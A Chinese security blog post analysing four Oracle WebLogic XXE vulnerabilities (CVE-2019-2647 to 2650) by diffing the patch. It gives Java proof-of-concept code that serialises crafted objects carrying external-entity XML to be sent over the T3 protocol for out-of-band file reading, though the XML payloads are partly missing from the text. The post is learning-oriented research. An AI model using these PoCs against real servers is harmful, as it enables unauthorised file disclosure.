WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

@xxlegend在《Weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点，并给出了PoC。刚入手java不久，本着学习的目的，自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程，新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode，没有他的帮助我可能环境搭起来都会花费一大半时间。

补丁分析，找到漏洞点

根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/)，通过对比补丁，发现新补丁以下四处进行了setFeature操作:

应该就是对应的四个CVE了，其中ForeignRecoveryContext@xxlegend大佬已经分析过了，这里就不再分析了，下面主要是分析下其他三个点

分析环境

Windows 10
WebLogic 10.3.6.0
Jdk160_29（WebLogic 10.3.6.0自带的JDK）
WsrmServerPayloadContext 漏洞点分析

WsrmServerPayloadContext修复后的代码如下:

package weblogic.wsee.reliability;
import ...

public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }

    private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
        ...

        ByteArrayInputStream var15 = new ByteArrayInputStream(var3);

        try {
            DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();

            try {
                String var8 = "http://xml.org/sax/features/external-general-entities";
                var7.setFeature(var8, false);
                var8 = "http://xml.org/sax/features/external-parameter-entities";
                var7.setFeature(var8, false);
                var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                var7.setFeature(var8, false);
                var7.setXIncludeAware(false);
                var7.setExpandEntityReferences(false);
            } catch (Exception var11) {
                if (verbose) {
                    Verbose.log("Failed to set factory:" + var11);
                }
            }

       ...
    }

}
可以看到进行了setFeature操作防止xxe攻击，而未打补丁之前是没有进行setFeature操作的

readExternal在反序列化对象时会被调用，与之对应的writeExternal在序列化对象时会被调用，看下writeExternal的逻辑:

var1就是this.formENdpt，注意var5.serialize可以传入三种类型的对象，var1.getEndptElement()返回的是Element对象，先尝试新建一个项目构造一下PoC:

结构如下

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override
        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //从DOM工厂中获得DOM解析器
                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //创建文档树模型对象
                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }

public static Object getXXEObject() {
    EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();

    EndpointReference faultToEndpt = null;
    WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
    try {

        Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
        f1.setAccessible(true);
        f1.set(wspc, fromEndpt);

        Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
        f2.setAccessible(true);
        f2.set(wspc, faultToEndpt);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return wspc;
}

}
test.xml内容如下，my.dtd暂时为空就行，先测试能否接收到请求:

        ]>
4

运行PoC，生成的反序列化数据xxe，使用十六进制查看器打开:

发现DOCTYPE无法被引入

我尝试了下面几种方法：

在上面说到var5.serialize可以传入Document对象，测试了下，的确可以，但是如何使getEndptElement返回一个Document对象呢？

尝试了自己创建一个EndpointReference类，修改getEndptElement返回对象，内容和原始内容一样，但是在反序列化时找不到我创建的类，原因是自己建的类package与原来的不同，所以失败了
尝试像Python那样动态替换一个类的方法，貌似Java好像做不到…
尝试了一个暴力的方法，替换Jar包中的类。首先复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目录，将wlserver_10.3\server\lib\weblogic.jar解压，将WsrmServerPayloadContext.class类删除，重新压缩为weblogic.Jar，然后新建一个项目，引入需要的Jar文件（modules和wlserver_10.3\server\lib中所有的Jar包），然后新建一个与WsrmServerPayloadContext.class同样的包名，在其中新建WsrmServerPayloadContext.class类，复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据，对readExternal反序列化没有影响)。

WsrmServerPayloadContext.class修改的内容如下:

经过测试第二种方式是可行的，但是好像过程略复杂。然后尝试了下新建一个与原始WsrmServerPayloadContext.class类同样的包名，然后进行修改，修改内容与第二种方式一样

测试这种方式也是可行的，比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }


    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

查看下新生成的xxe十六进制:

DOCTYPE被写入了

测试下，使用T3协议脚本向WebLogic 7001端口发送序列化数据:

漂亮，接收到请求了，接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:

        
        %dtd;
        %send;
        ]>
xxe

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空，然后，不然在dbBuilder.parse时会报错无法生成正常的反序列化数据，至于为什么，只有自己测试下才会明白):

"

%all;
运行PoC生成反序列化数据，测下发现请求都接收不到了…，好吧，查看下十六进制:

%dtd;%send;居然不见了…，可能是因为DOM解析器的原因，my.dtd内容为空，数据没有被引用。

尝试debug看下:

可以看到%dtd;%send;确实是被处理掉了

测试下正常的加载外部数据，my.dtd改为如下:

"

%all; gen.xml为:

可以看到%dtd;%send;被my.dtd里面的内容替换了。debug大致看了xml解析过程，中间有一个EntityScanner，会检测xml中的ENTITY，并且会判断是否加载了外部资源，如果加载了就外部资源加载进来，后面会将实体引用替换为实体申明的内容。也就是说，我们构造的反序列化数据中的xml数据，已经被解析过一次了，而需要的是没有被解析过的数据，让目标去解析。

所以我尝试修改了十六进制如下，使得xml修改成没有被解析的形式:

运行PoC测试下，

居然成功了，一开始以为反序列化生成的xml数据那块还会进行校验，不然反序列化不了，直接修改数据是不行的，没想到直接修改就可以了

UnknownMsgHeader 漏洞点分析

与WsrmServerPayloadContext差不多，PoC构造也是新建包然后替换，就不详细分析了，只说下类修改的地方与PoC构造

新建UnknownMsgHeader类，修改writeExternal

PoC如下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

public static Object getXXEObject() {
    QName qname = new QName("a", "b", "c");
    Element xmlHeader = null;

    UnknownMsgHeader umh = new UnknownMsgHeader();
    try {
        Field f1 = umh.getClass().getDeclaredField("qname");
        f1.setAccessible(true);
        f1.set(umh, qname);

        Field f2 = umh.getClass().getDeclaredField("xmlHeader");
        f2.setAccessible(true);
        f2.set(umh, xmlHeader);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return umh;
}

}
运行PoC测试下(生成的步骤与第一个漏洞点一样)，使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WsrmSequenceContext 漏洞点分析

这个类看似需要构造的东西挺多的，readExternal与writeExternal的逻辑也比前两个复杂些，但是PoC构造也很容易

新建WsrmSequenceContext类，修改

PoC如下:

public class WeblogicXXE3 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(“xxe”));
out.writeObject(instance);
out.flush();
out.close();
}

public static Object getXXEObject() {

    EndpointReference acksTo = new EndpointReference();


    WsrmSequenceContext wsc = new WsrmSequenceContext();
    try {
        Field f1 = wsc.getClass().getDeclaredField("acksTo");
        f1.setAccessible(true);
        f1.set(wsc, acksTo);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return wsc;
} }

测试下，使用T3协议脚本向WebLogic 7001端口发送序列化数据:

最后

好了，分析完成了。第一次分析Java的漏洞，还有很多不足的地方，但是分析的过程中也学到了很多，就算是一个看似很简单的点，如果不熟悉Java的一特性，会花费较长的时间去折腾。所以，一步一步走吧，不要太急躁，还有很多东西要学。